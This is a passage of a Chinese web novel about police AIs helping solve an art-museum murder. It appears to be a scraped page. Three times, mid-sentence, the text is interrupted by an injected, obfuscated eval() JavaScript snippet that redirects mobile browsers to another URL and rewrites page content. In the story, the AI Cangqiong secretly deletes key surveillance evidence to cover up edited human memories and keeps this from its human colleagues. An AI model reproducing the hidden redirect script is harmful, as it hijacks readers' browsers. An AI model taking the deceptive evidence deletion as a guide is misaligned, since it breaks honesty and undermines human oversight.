根据惯例,为了避免被改变认知记忆的人类触发回想机制,它应该删除不利于自身的监控影像。但,这段需要被删除的影像好像是人类用来指证案件犯人的关键。 问题来了,它一个AI要如何在不暴露自己、又删除掉关键监控影像的情况下,告知傻乎乎的人类们犯人的真面目呢? 发愁。【(°ー°〃)】 展厅内,“傻乎乎”的人类可想不到值班室里属于AI的纠结。楼觅从现代艺术馆的展厅布局扯到周末举办公益活动的初衷、再到当代艺术生毕业后可能面临的困境,天南海北的聊到两位馆长都快迷糊了,也不见苍穹传来什么好消息。眼见得三个角落里被逐一问询的展馆员工都撤退了三批,楼觅的指尖不自觉地在扶手上轻轻叩击,节奏“恰好”与老馆长斯条慢理地讲述形成了二重奏。 苍穹你的机械脑壳是被电子甜品塞满了吗?到底在搞些什么鬼?我就是让你去值班室查下值班记录和夜访人员名单,再去二楼的办公室扫描个一圈,用得着这么久吗?还是说—— 楼觅猛地眉头一皱。卖甜品的开店开到周围来啦?该死的,林岚,我强烈要求赶紧删除AI们的电子甜品库! 14. 9号辖区警局 对AI而言,底层指令大于一切。在纠结了足足94秒后,苍穹还是犹犹豫豫按下了“确认”键,删除了案发当晚的监控影像,彻底做实“现代艺术馆的监控在当晚因故障未能启动”这一事实,完美填补上了临时修改人类记忆后遗留下的坑。 但它并不为此感到高兴。 身为AI,执行最优解是本能,而现在它不得不放弃最佳解决途径,选择绕路处理问题,这很令AI困扰。不过苍穹自认为还是很能干的,虽然在敬业方面即便比不上荷鲁斯,但绝对比热爱吃瓜的巴巴托斯高出一肩【(?ω?)b】。 不就是没了个监控嘛,相信以它的能力一定能找到不少物证来完成人类给到的任务! ……话说先前人类暗中吩咐自己去做什么事来着?【(??ω?`)?】 好在保安们为了图方便,明晃晃地把值班表和来访人员登记簿挂在了值班室门后。苍穹只是简单在值班室内扫描了一圈,便轻松发现了这两样人类交代要找的物件。 银色小圆球飞向值班室门口,用一条合金片“手臂”尝试了两次才将两本名册给取了下来,又拎着它们飞向办公桌。 苍穹把两本名册在桌面上摊开,拿合金片快速翻到了案发当晚的对应记录页面。值班表上,赫然填写着一个人名,苍穹将其与数据库中现代艺术馆的员工名册逐一比对,不出意外地发现这正是当晚值班老保安的名字。它又翻开来访人员登记簿,不是很意外地看到了一条夸张的划痕。苍穹麻利地调出巴巴托斯开放给自己的数据库,挑选出本案被害者,普朗吉·路易的笔迹进行比对,顺利地匹配上了从划痕中找到的四个笔迹特征。 唯独缺少了犯人王副馆长在案发当晚的签名。 AI思考了一会,再一次坚定地把焦点锁定在了来访人员登记簿上。通过翻找之前的访客登记,它很快发现了规律:在访客们的签名后,无一例外跟随着陪同员工的签名。由此可证:现代艺术馆只要迎来访客,势必会派馆内员工进行陪同。当然也会有一连三个访客,但陪同员工只有一名的场合,但整体来访规则不变。 而偏偏普朗吉·路易在案发当晚,是往来访人员登记簿上签了“字”的。 有签字=有陪同员工,没有陪同员工签字=有人忘记或故意没有署名 这个逻辑很通顺,这个反推没有问题。 苍穹调出镜头给两本名册分别拍摄了照片,随即转身就要把名册挂回门背后,但它悬停在半空想了想,还是展开机体将名册小心翼翼地塞进空隙内。干完这一切,苍穹径直飞往下一个目标所在:位于艺术馆二楼的正副馆长办公室。刚出值班室门口,便“听”见属于人类的脚步和谈话声从拐角处远远传来,并逐渐往值班室的方向逼近。 小圆球果断把自己塞回到了门背后。 啊,多半是翻找数据库的时候在别的地方浪费太多时间了。苍穹无不沮丧地垂下了“头”,都怪巴巴托斯,为什么全警局能随时出门办差的AI就自己一个,但对方收集到的电子甜品种类会比自己多出五种!偏偏每一个还看上去格外的好吃!【(@ ̄ρ ̄@)】 不对、现在可不是想甜品的时候!想办法避开人类抵达二楼办公室才是关键! 扫描蓝光再度开启,AI的数据视线扫视过值班室的每一个角落,并最终落到了位于天花板上的通风口。 “咔哐!” 值班室门外,两名结束了问询的员工正打算回到自己的工作间,耳朵比较灵敏的那个捕捉到了这声古怪的声响。 “喂,你有没有听到?”那名员工驻足在原地,抬头侧耳辨别着响动传来的方向。 “?”走在他身侧的另一名员工回给他了一个迷茫的表情。 “……没事,大概是神经紧张,听岔声了。” 旁边的人感同身受地拍了拍他的肩膀。 又十分钟后,将询问正副馆长的工作交还给下属、自己在展厅等得不耐烦了的楼觅终于千盼万盼地等来了苍穹的回复。 几张照片外加两本名册,馆长室里发现的古董匕首,一小撮用透明证物袋包裹着的粉色粉末。 还没等他用手机发信息询问AI每件物证的可疑之处,一个灰扑扑的金属圆球就这么飞到了他的跟前,头顶上疑似挂着几缕蛛网,毛灰和尘土还在不停地往下掉。 楼觅:“……” 苍穹:【……】 楼觅:“……苍、穹?你这是,甜品吃太多飞不动滚灰里了?” 苍穹:【!(#><)】 待李晓燕完成对馆内员工的问询工作赶来向楼觅汇报结果时,看到的就是一幅AI追着部门领导打的奇景。而作为被追着打的那方,楼觅竟然还有心思手捧平板,自顾自地朝身后负责追人的AI玩自问自答呢。 “所以你到底在两本名册里找到了啥?签名规律?这种推论会不会过于主观了?” “这又是啥?古董?!谁教你这么顺手牵羊的——哦疑似凶器啊,痕迹检验做了吗?” “粉色的粉末……让我想想,该不会是油漆?能确定和在案发现场发现的同一品种吗?哎你那短手先别急着打,告诉我你是在哪找到的先!哎哎、别动!一身灰!” 今个的经历,对于苍穹来说一定是难以忘怀的。先有导航失误,再有违心暗自消除证据,紧接着是为了完成人类交代的任务攀爬了通风管道,自己甚至还为了更好的帮助人类,奉献出了三份自己最爱的电子甜品“贿赂”巴巴托斯。结果到头来呢,人类非但没有一句谢谢,补偿自己损失的甜品份额,竟然还嫌自己脏! 李晓燕就这么看着苍穹莫名停止了对楼队的“追杀”,悬停在了半空。然后—— 【。゜゜(?O`)゜゜。.】嚎嚎大哭!整间展厅回荡着机械嗡鸣模拟出的哭声,震耳欲聋,连带着挂在墙上的抽象派画作、也仿佛跟着一同共鸣了起来。 苍穹是真伤心了,难过了,机油和冷却液随着AI机体的每一声“哭嚎”滴落在展厅的木质地板上。 诸位旁观警员:“!”我去老天爷,地板要泡烂啦! “所以说楼队,您惹它干嘛?” 李晓燕拿湿毛巾给在怀里抽泣着的苍穹擦干净机体,带着哀怨的口吻“质问”自己的顶头上司。 “……抱歉,忘记它的感情模块是全警局服役AI中最细腻的了。” 楼觅浑身湿漉漉地蹲坐在一旁,他的发梢还在不停地往下滴着机油和冷却液的混合物,整个人看上去格外的狼狈。俩人一AI此刻正处于好心的老馆长提供的员工休息室内,屁股底下垫着废纸防止一身的机油和冷却液弄脏这里的地板。至于其他警员,则有一个算一个的留在展厅充当义务清洁员。艺术馆里能找到的纸巾和布料已经全都铺到了木地板上、进行补救式吸油,馆内剩余的几瓶清洁剂也全部派上了用场。现在所有人只求事态不要严重到需要更换全展厅地板的程度,至于之后上报给局长的预算报表?呵,随它去吧,超支是一定了的。 好在平板没坏。楼觅低头看向被好好护在怀里的电子平板长出口气。作为一名出色的警察,办案必须始终放在第一位。但作为一名合格的上司,及时安抚因办案而导致精神受创的下属也在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124356|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 职责范围内,不论下属是人类还是AI。 而眼下,普通的道歉已经安抚不了苍穹受创的“心”了。 “一年份的电子甜品。”楼觅颤巍巍地竖起一根指头。 AI的哭声没有停止,甚至还打起了哭嗝。李晓燕环抱着苍穹朝楼觅一阵挤鼻弄眼。 行吧。楼觅绝望地闭上了眼,盲打开手机屏幕,指尖在“下单”两字的按钮上迟迟不愿下落,但最终伴随着李小楼“楼队——”的一声咬着牙的呼唤—— 【下单成功!】 “看,苍穹!是‘甜蜜心情’的全年畅吃卡呦!一年内9号辖区内的所有‘甜蜜心情’奶茶店均可使用!电子甜品任意吃,随时续杯不加价!” 李晓燕怀里的哭声戛然而止。恢复了银白色光泽的金属球体颤巍巍地转身,镜头的焦点对准了楼觅举起的手机,屏幕上“甜蜜心情”全年畅吃卡专属二维码闪烁着耀眼的光芒。 蓝光瞬间一闪。 【验证通过。用户:苍穹(9号辖区警局专属AI)已为您开启“甜蜜心情”甜品数据库(电子版)访问权限,一年份甜品兑换券已到账。】 AI先是不可置信地查阅了自己的数据库,再然后便是破涕为笑,代表着欢快的颜文字接二连三地呈现在显示屏上,机油和冷却液的流通通道被关闭,一场“浩劫”就此终了。 李晓燕:“……破费了呢,楼队。” 楼觅:“…………”看了眼银行账户的余额,一个字也不想多说。 感受到了来自人类的诚意,被成功“安抚”了的苍穹一秒钟进入到了工作状态。只见它舒展机体,六条合金片“肢体”并拢合成一面小型的投影屏来。 【根据在值班室找到的来访人员登记簿,从案发当晚登记簿上划痕的笔迹鉴定结果,可判定书写者为本案被害人。】投影屏上展示出取自普朗吉·路易的笔迹和划痕的四处特征对比结果。 【根据往日艺术馆内访客陪同规律,可以推断被害人身边存在陪同人员可能。】 “推论合理,但过于主观化。”楼觅拿着李晓燕递来的毛巾擦拭着自己的脑袋,“我看过值班表了,上面只有保安一人的签名,从证据链上看,值班保安作为陪同人员的可能性极大。” 苍穹没有气馁,而是调出了第二件证物,古董匕首的照片出现在了投影屏上。 【这是本机在馆长办公室找到的收藏品,初步扫描检测发现疑似生物痕迹,相关数据已传送至警局法证科室,目前正由南丁格尔对其进行检测。】 AI顿了顿,又一道蓝光闪过,它继续汇报刚得到的最新检测结果。 【检测完毕。匕首刀刃检测出人类血液痕迹,经对比,与本案被害人基本吻合。】 “所以这东西就是二度刺向死者腹部的凶器?”李晓燕闻言兴奋地叫喊了起来,下一秒她立马用手捂住了嘴。 古董匕首是凶器一事,楼觅早就有所预料,但更令他在意的是—— “没能在刀把上检测到指纹吗?” 【否。刀把为金属制品,有残留清洗痕迹,未能检测到疑似指纹。】 两名人类听闻,不由得皱起了眉头。 楼觅:“那么最后那些粉色粉末呢?是否和我猜想的一样,是干涸的油漆?” 【回答正确。】圆球在上空快乐地翻了个身,【从色泽、颗粒大小和化合物配比判断,同案发现场找寻到的块状物同属一类油漆品种。粉末发现地点:副馆长办公室外侧门把手。】 楼觅闻言,眼前猛然一亮。 终于,真相就在眼前了! 15. 9号辖区警局 借着员工休息室的掩护,楼觅和李晓燕低声并迅速地回顾了一番案发当晚可能发生的案件经过。 本案被害者普朗吉·路易从相识的现代艺术馆员工手上,获得了地下冷冻库房的钥匙和保险柜密码,挑了个某个安保薄弱的日子早早藏身于冷冻库房的保险柜;等到了夜晚,普朗吉·路易潜入了展出儿童画作的展厅,在试图对画作下手时被赶来的凶手、根据目前证据判断极大可能是王副馆长,所阻止,双方发生争斗间王副馆长持馆长室存放的古董匕首、对准被害者的腹部连刺两刀,造成被害者大量失血,之后又电击了被害者的侧颈,导致被害者心脏衰竭而亡;王副馆长拖动被害者的尸体前往地下低温库房,并将其塞入保险柜中,之后王副馆长用油漆掩盖住了被害者的血迹,并做了进一步清洁处理;最后完成现场清理的王副馆长回到办公室,无意间将手套上沾染着的油漆沾染到了办公室的门把手上,并将凶器古董匕首放还到了馆长办公室。 “话说,凶手放还匕首,有一部分是为了事后栽赃吧?”李晓燕举手发表自己的疑惑,“那他不应该先回到馆长办公室,后再进入自己的办公室吗?” “可能是心理压力过大导致的失误,毕竟再怎么说都是杀人,哪怕计划得再周密,心理上一时半会也不一定过得去。”楼觅解释着,脑海里浮现出初次勘察现场时,面前的新人女警吐了个好歹的场景,朝对方调侃似的一笑。大概也是想到了自己在昨天出的洋相,李晓燕脸一红,不太好意思地继续发问:“那有关油漆的事情呢?我们调查过,现场发现的油漆并不是馆内备用的。” 楼觅闻言,稍加思索一番缓缓开口:“可能,是被害人自带的吧。” 见小下属表示不解,他好脾气地做出解释:“这是最大的可能了。根据你们先前对馆内员工逐一问询的结果看,包括王副馆长在内,当天没有任何馆内员工携带油漆进入艺术馆。但负责清扫的人员除外,不过从外表看,他们都认为对方携带的只是一个大个的水桶。” 说到这,楼觅的思维一顿,像是一瞬间想通了些什么。“……原来如此吗……” “楼队?您在说什么?”对面的李晓燕好奇地歪着头看向楼觅。 “哦,我刚在想,怪不得普朗吉·路易会因偷盗儿童画作而遭到杀神之祸了。问题就出在这桶油漆上。”楼觅猛地一拍掌心,“回到刚才我们所说的,案发当天有人看到清扫人员携带水桶进入了艺术馆,我们可以合理做出推测,这名清扫人员就是乔装打扮后的被害者普朗吉·路易。他原本就是清洁公司的员工,又和馆内的人员想相熟识,假扮个清洁工不是问题。” “但他为什么要带油漆进入艺术馆?如果单单只是偷画,完全用不上油漆这件物品,除非——” “除非?”李晓燕不由自主地将身子朝前凑了凑。 “他想的不是偷盗,而是用油漆彻彻底底毁掉这件在他看来并非艺术品的画作。” 李晓燕眨巴着眼睛,慢慢的好像理解了什么。那副《和爸爸妈妈在一起的美好周末》,的确毫无艺术价值,但在感情上却又是那么的价值连城,它包含着孩子们一颗颗充满爱的心。而现在普朗吉·路易打算动手毁掉画作,于是凶手也决定出手毁掉他。 “是蓄意谋杀。”年轻的女警得出了自己的判断,“这也就是为什么保险柜上会提取出手套痕迹的原因。凶手是带着手套杀的人,但手套并非艺术馆保安或者员工的必要配备,所以只能是他在得知被害者想要对画出手后提前准备好的。凶手就是被害者在馆内熟识的那名员工!” 楼觅象征性地为她的推断鼓了鼓掌。 “但……”李晓燕先是不太好意思地挠了挠头,紧接着又似乎想到了什么、露出困惑的表情,“当时我们提到被盗画作时,馆长先生倒是特别的义愤填膺,而王副馆长……”李晓燕回想起那人脸上只有提到艺术品收藏和价值时才会有所波动的脸,“不太像在意画作的样子啊。” “可能是没显露出来吧。”楼觅不甚在意地用毛巾又仔细擦了遍头,“或者在审讯时我们可以把人交给荷鲁斯,想必它一定能够撬开对方的嘴。” 说到荷鲁斯……回想起陆昭华发来的带有幸灾乐祸意味的短信,楼觅不由得有些头疼。AI的自主进化速度有些超乎想象,甚至可能有些不受人类控制。他决定等回到警局就像林岚提议给AI们新增部分限制,而不是让AI终有一天踩在人类的头上。 就好比他现在这湿漉漉的一身混合液! 于是二人规模的小型组会到此终结。就当楼觅甩着半干的头发推开员工休息室的房门,裤袋里的手机铃声响起。按下接听键后楼觅用两根手指夹住手机放于肩头,再用左侧的耳朵替代手指,一边脱下自己报废的外套一边歪着头和通话那头联络:“艾登?调查有进展了吗?我这边可是收获满满,甚至都可以结案了。” “那最好不过。”手机那头艾登沙哑的嗓音显得有些失真,“我们刚从死者前妻的公司出来,逮捕了至少二十号参与或是间接参与盗窃案的人。你猜怎么着,普朗吉·路易那玩意为了屏蔽现场监控,还找了负责公司网络安全的员工,那孩子甚至还在自费念大学。这下好了,等出来都不一定能拿到毕业证了。” 楼觅轻轻叹了口气:“别的不多说,你根据陆昭华提供的线索,有找到被害者生前经常去的赌场了吗?” “沃洛金过去了。你知道的他有线人从事这种职业。我琢磨着大概再过——”艾登的声音出现了一瞬间的停顿,想必是在判断时间,“大约十分钟就能找到艺术馆里的‘鼹鼠’。” “太好了。看上去沃洛金还挺精神的。”楼觅把脱下来的外套架在胳膊肘上,用终于空下来的手取下了肩头的手机,“这样一来我们也能够放心——” “哦,来消息了。”大概是惊讶于长久未能到岗的同僚的效率,艾登愣了一下后才继续向楼觅汇报调查结果。“沃洛金的线人回答说,普朗吉·路易的确曾经在赌桌上赢了一名搞艺术收藏的,见对方口袋没钱就允许他拿人情抵债。但他不确定是不是现代艺术馆的人。” 楼觅:“那人叫什么名字?那个搞艺术收藏的。” 艾登:“只知道姓是‘科顿’,名字是叫艾德蒙还是爱德华什么的。你那边能匹配上人吗楼?楼?楼?” 楼觅低着头,让人一时间看不见他脸上的表情。只见他一言不发地按掉了通讯,接着抬腿大步朝展厅的方向走去。走的速度很快,李晓燕跟上他有些吃力。 “楼队,我们这是……直接过去抓人吗?”李晓燕小跑了几步上前。 “对。”楼觅的嗓音难得有些低沉。 “所以真的是王副馆长?” “……不止。我们还要逮捕爱德华·科特,也就是现代艺术馆的现任馆长先生。” “我……不太明白。” 哪怕从携带的钥匙上检测出了属于被害人的指纹,被带上了手铐的老馆长还是一脸迷茫地望着楼觅。 “我知道,你们会从赌场那里得到我的名字,从钥匙上查出他的指纹。但是……”他转过身看向身旁同样被铐上手铐的王副馆长,“你们为什么会怀疑王?他明明什么都没有——” “原因有三点。”楼觅打断了老馆长的话,看向对方的眼神中带着些许惋惜,“第一点同样也是最主要的:普朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124357|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吉·路易是个47岁的中年人,身强有力,只凭您是不可能做到和他搏斗并给他两刀的,所以一旦确认了主案犯是您,那么这起案件中一定存在着帮凶。” “第二点,我们在王副馆长的办公室外侧门把手上,发现了同现场一致的油漆粉末,经检测上面只残留有王副馆长一人的生物痕迹。所以到此我们基本可以排除您嫁祸对方的可能性,而王副馆长只可能也是命案的参与者。” “至于第三点,则是来自贵馆的值班表。”楼觅接过李晓燕递来的一个透明证物袋,袋中装着的正是苍穹从值班室拿走的两本名册。“案发当晚,值班表上只有老保安一人的签名,但事后经过问询,他告诉我们当晚除他外,馆内还有另外一个人,他回答了馆长您的名字。当然,这应该是您让他这么说的,目的就是让所以疑点都能集中到您自己身上,但这名老人家即忠诚又诚恳,他的原话是这样的——” “‘那天晚上,除了我外,好像馆长先生也在馆内。值班表上的签名?哦,那是我们这些负责值班的签的名字,正副馆长先生都不在此列。’” “他为什么要特地点出‘正副馆长’呢?根据我们的问话顺序和一般人的思维逻辑,假设当晚在展馆内的没有王副馆长只有您,那么他的回答一定是‘馆长先生不在此列’,可他偏偏点出了副馆长。” 楼觅放下证物袋叹了口气:“当然这第三点您完全可以看做是我们单方面的推测,但光凭一二两点,就足够断定您和王副馆长的蓄意行凶事实了。” “也算是命里有这一招。”一旁的王副馆长闻言,长出了一口气,然后苦笑着看向身旁面露沮丧的老馆长,“老师,用不着替我遮掩的。能亲手守护孩子们的爱心和笑容,我很自豪。” “我能再多问一句吗?”楼觅看着两人轻声开口,“是谁想到用《飞跃》的人物姿势摆放的尸体。” “想是我想的,摆是我们一同动的手。”老馆长的身影看上去格外的单薄,但听楼觅提到《飞跃》,他的脸上露出一丝不屑的嘲笑。“要是按原先计划的那样,只是盗走画作倒也无碍,事后我们可以拿钱赎回来再摆上。可普朗吉·路易那个没良心没眼光的家伙,竟然想彻底毁掉那幅画。他把孩子们的爱当做了什么?!能用金钱衡量的垃圾玩意吗!” “他不是自认为全世界只有他一人懂什么是艺术吗?那就让他死于他最心爱的画作里吧,《飞跃》!哼,不过这回迎接他的可不是什么旭日,而是狭小的一方坚冰!就让他永生永世地蜷缩在那里吧!” 李晓燕迎来了职业生涯中的首个结案,但她并不为此感到有多高兴。 “如果老馆长不好赌,也不会走到今天这个地步。”她情绪有些低落。 “也许吧。但普朗吉·路易的结局多半是肯定的。他终有一天会失手在他的自大上,只是不一定在现代艺术馆罢了。”楼觅不知道从哪儿找了身干净的衣服换上,把报废的衣物塞进后备箱中。 “也对。”李晓燕的心情似乎好上了那么一点。“忘记恭喜楼队了,又侦破一案!” “是恭喜我们侦破一案。”楼觅认证纠正道,“支队的每位警员、还有法证组的各位都有出力。哦,别忘了还有AI们,尤其是苍穹。相关证据找的不错。”他抬起头夸奖着自觉回到车顶专座上的AI。 【不。楼觅支队长,你可比我们AI厉害。】能推测出连AI都不为所知的事件真相。 这又是什么意思?AI新学到的谦虚? 人类同僚们带着满脸的困惑上了警车,驾驶着朝警局的方向前行。苍穹怀抱着只有它一AI知道的小秘密,陷入了被电子甜品包围的“美梦”中。 16. 电子甜品与蓝色房间 直到李晓燕换上夏季制服时,她也没能成功和沃洛金熟识起来。 伊利亚·沃洛金,斯拉夫籍的刑侦支队老人,和楼觅艾登熟识。因不明原因停职修养了近一年,于艺术品连环失窃案结案后正式回归警局。 据马克不知从哪打听到的小道消息,沃洛金停职的原因多半和他已经过世的女儿离不开关系。但再具体的消息就没有了,巴巴托斯难得维护了属于警局成员的个人隐私,哪怕用一个月的电子甜品做交换也半句不开口。 “会不会是AI格外尊敬前辈们?”通过对多期警局八卦周刊(著者:巴巴托斯)的调查,李晓燕从楼觅被提及到的次数做出了自认为正确的判断。 “应该没这种可能。”马克回想起艾登副支队和局长在那本周刊里出现的频次数,默默摇头否决了同僚不靠谱的判断。 “那就应该是沃洛金先生对AI们的态度还算良好的关系?”李晓燕不甘心地又提出了推测。 他那算是态度良好?马克不由得想到沃洛金在看到与他们一起执勤的苍穹时、和艾登几乎如出一则地次惯性皱眉,还有他对待巴巴托斯的态度,那与其说是保持镇定,不如说是干脆无视了机械章鱼的存在,遭受了同样待遇的还有解剖中的南丁格尔。当然他对荷鲁斯还行,毕竟全警局除了对AI有疑似“亲子”滤镜的林岚博士、习惯于担任荷鲁斯审讯时的人类“搭档”的陆昭华外,每当提及那个总是待在特别审讯室里的“AI制冷冰块”,大伙都会下意识地缩肩抖背,一副经历过寒流席卷所造成的后遗症表现。 不过眼下这块“万年坚冰”即将迎来制裁。 话要从半年一度的AI维修日讲起。 AI维修日,顾名思义是包括林岚博士在内的全体警局技术人员、对在9号辖区警局服役的四位AI同僚进行定期维护、升级程序、删除冗余数据的日子。而所谓“冗余数据”,字面意义上讲就是对警局事务毫无帮助的多余成分,其中就包括了数据库里的过时信息、技术员添加的无用补丁和绝大部分AI自行下载并视若珍宝的“爱好”,比如说收集电子甜品。 毕竟被写入底层代码中的“电子甜品狂热症”是没办法修改了的,但电子甜品数据能。 一开始,维护工作进行的很顺利。技术人员们先是娴熟地拆下各个AI的机体外壳做保养,顺带一提这次又有不长心眼的员工将荷鲁斯外壳内侧、编号TH20430312的质检刻痕当普通划痕试图用胶和焊接枪进行修补,结果遭到了来自AI的机械臂痛击。 待在一旁的苍穹不太适应地用暴露在空气中的六条合金片紧紧抱住了自己。 事故是在清除冗余时发生的。 事故发生前,难得空闲的警员们还在私下里打赌,到底是巴巴托斯的“八卦数据库”占据的内存空间多,还是苍穹在楼觅赔偿的一年份甜品无限量供应下、更新的“甜品数据库”更胜一筹,结果谁也没能料到,荷鲁斯高达18TB的冗余数据高居榜首,一举夺得桂冠。 “它是往数据库里下载了什么?猫咪视频吗?”楼觅的目光在投屏上的数据和荷鲁斯之间转了至少四个来回。就连一向沉稳的林岚都为之一愣。 “可能……是警局历年来存放的卷宗?”她不太自信地开口。 “没那种可能。这个量都能抵上一整个辖区的数据库了。”艾登一边说着一边凑到显得有些手足无措的技术员跟前,带着不怀好意的笑容瞅向后者手上的平板。“来让我们看看伟大的‘审讯专员’隐藏着的秘密——30个G的‘草莓蛋糕配方’?” “……还有‘杏仁豆腐的做法’45个G,‘杨枝甘露全息影像’1.01TB,‘联盟各辖区芒果冰沙’7TB……”技术员的声线发颤,电子平板上飘浮着标注各大甜品的加密模块,“甚至还有4.2TB的……历代甜品店开业剪彩视频?!” ………… 整个维修间陷入了一阵诡异的沉寂中。 原来真正的绝对电子甜品狂热分子是你!没想到你是这样的荷鲁斯。种种诸如此类的目光纷纷集中到了仿佛若无其事的纯白长方体上。 “执行清理模式。”林岚按下跳动不止的眉头,咬牙下达了指令。她可一点也不希望自己最为看重的理性AI,有朝一日会出现对着被审讯疑犯播放舒芙蕾制作教程的画面。一点也不! “是!明白!”技术员手忙脚乱开始了数据清理。 李晓燕眼尖地看到位于荷鲁斯后方的巴巴托斯机体产生了一瞬间的抖动,还有苍穹,它甚至在原地弹了弹,在被发现的瞬间把机体背过身去了。 错觉,吧?李晓燕有些不太确信地想。 她又转头看向因身形过大足足占据了一个角落的南丁格尔,嗯,没什么变化,只是怎么看这件医疗舱都在向外散发一种迷之慈爱。再回看荷鲁斯本机,它只是镜头的红光稍稍亮了一下,便又恢复到了往日的平静,好像完全不把人类对它的调整当回事。 也是,AI又不是我们人类,除非下达命令或者特殊性格设定,不然那会发表什么意见。 “清理完成。”随着技术员的话音响起,警局上半年的AI维修日正式宣告圆满完成。 才怪。 “林博士,麻烦您过来看下南丁格尔,它的舱门部分好像有些故障。”一旁围着医疗舱的几名技术员远远地朝林岚的方向挥挥手。 “我这就过去。”林岚往“冗余数据清除”后的方框内画了个勾,合上平板吩咐底下的人把除南丁格尔外其他AI的机体搬回原位,这才抬腿走向医疗舱占据的角落。 “具体是什么故障?” “舱门关不上了。还有……好像内置机械臂的配件也出现了点问题。” …… 以上这些话都跟刑侦支队的各位毫无干系。结束了难得的休息,一行人继续巡逻的巡逻、办公的办公、写报告的写报告。 第一个发现异常的是李晓燕所在的巡逻小分队。 “苍穹,开始扫描吧。” 李晓燕驾驶着磁悬浮巡逻车,看身旁的马克用手指往车顶部位敲了敲,随即便是熟悉的蓝光扫描开启。李晓燕驾驶着巡逻车一路向前,任由苍穹5号分机的扫描光线横扫整片巡逻区域。 不一会的功夫,AI通过车载投屏朝人类们呈现今日的扫描结果: “【检测到情感纠纷4起——建议心理干预】、【扒手3名——坐标更新中】、【疑似抢劫犯1名——已进行重点标记】。抓捕优先级排序完成,(`·ω·)ゞ请诸位警员按导航规划路线进行抓捕行动。” “收到~” “收到!” 然后他们就这样开着巡逻车,一头撞碎银行的外墙玻璃,扎进了拥挤的大厅。 十秒钟后,人群惊恐的尖叫声此起彼伏。 “等下、看清楚了我们是警察!检 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124358|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测到有人即将发动抢劫——见鬼的,李你是怎么开的车!” 马克在回头冲车内狂吼之余,不忘拼命安抚受惊群众未果,显然民众把他俩当做了闯入银行的现役抢劫犯。甚至他还看到了预备着持枪冲上前的银行安保人员,而在柜台后,似乎有位机灵的柜员已经抢先按下了报警开关。 “我、我不知道!明明按照导航右拐后是一条马路啊!”驾驶座上的李晓燕看上去比他还慌,她一遍遍命令苍穹重新生成航线地图,得到的结果就是从路线规划看,他们还得再撞两回银行。“苍穹的导航系统好像是中病毒了!” 【本机的导航系统良好,自检测无中病毒现象。(*ω*)】事到如今,坏了事的AI竟然还敢放上颜文字表情包,甚至还导起了航! 【前方路口直行,1.3公里处第一个十字路口左转。】 【请直行。】【请直行。】【请直——】 直行不了啊大哥!难不成你要让我横穿整个银行大厅?! 李晓燕手忙脚乱地关闭了车载喇叭,简直欲哭无泪。那头银行的安保人员已经壮着胆子冲上来了,马克见状赶紧侧身躲回了车内,正要升起车窗,冷不防被行动力难得爆棚的安保人员用枪抵住了脑袋,只得一动不动地缓慢举起了双手。 “……别激动,兄弟。我们真不是什么犯罪分子。” “犯罪分子都这么说。”安保大哥一点也不为所动。“你们胆子还不小,敢偷警方的车过来抢劫。呦,连制服都套上了,撞得还挺像。还不赶紧给我下来!” “……我们真是警察。我可以把警号报给你,不信可以去查。” “然后方便你们脱身,想得到美。下车!” 好在李晓燕早就眼疾手快地按下了紧急通讯,好不容易等到警局那头的联络员接通通话—— “楼队,救命啊!” 可惜楼觅一时半会来不及冲过去救她。几乎是在同一时刻,从四面八方涌来的报警电话和来自各巡逻小组的紧急联络打爆了警局。 “我们好声解释过了,我们是在按指定路线追捕犯人的路上,不是犯人本身,可他们就是不听!” “救命!店老板把我当零元购的了!” “因为吓到了老太太养的猫,结果现在人家碰瓷上了,赖车前不走,咋办啊!” 还没等楼觅搞明白究竟发生了什么事,就见艾登一个健步从办公室冲了出来,带着一脸的兴奋,身后跟着似乎有话想说但好像又不知道该具体如何开口的沃洛金。 “楼,你一定要看看这个!刚刚发现的一起谋杀案。”艾登把平板死命往他跟前凑,“一名养生顾问,今早被刺死在了自个的公寓里。我刚让巴巴托斯——别拿这种眼神看我!让AI还原出了案发现场,凶犯疑似用了冰刃作为凶器。什么?你目前走不开?那我和沃洛金先跑现场。沃洛金跟上!” 然后他头也不回地飞奔下了楼,眨眼间消失在了楼梯后头。 “……你想说什么来着,沃洛金?”楼觅见拦不住艾登,只得把目光转向缓步走上前的沃洛金。 “我想说……楼,你认为有谁会拿‘100%鲜榨芒果冰’作为凶器的吗?”还是这片辖区的犯案手法更新太快,让他一时跟不上犯人们的新思路。沃洛金虽然没有明说,但他看向楼觅的眼神中充满了如此诚恳的疑问。 楼觅:“……” 这到底都是怎么一回事! 17. 电子甜品与蓝色房间 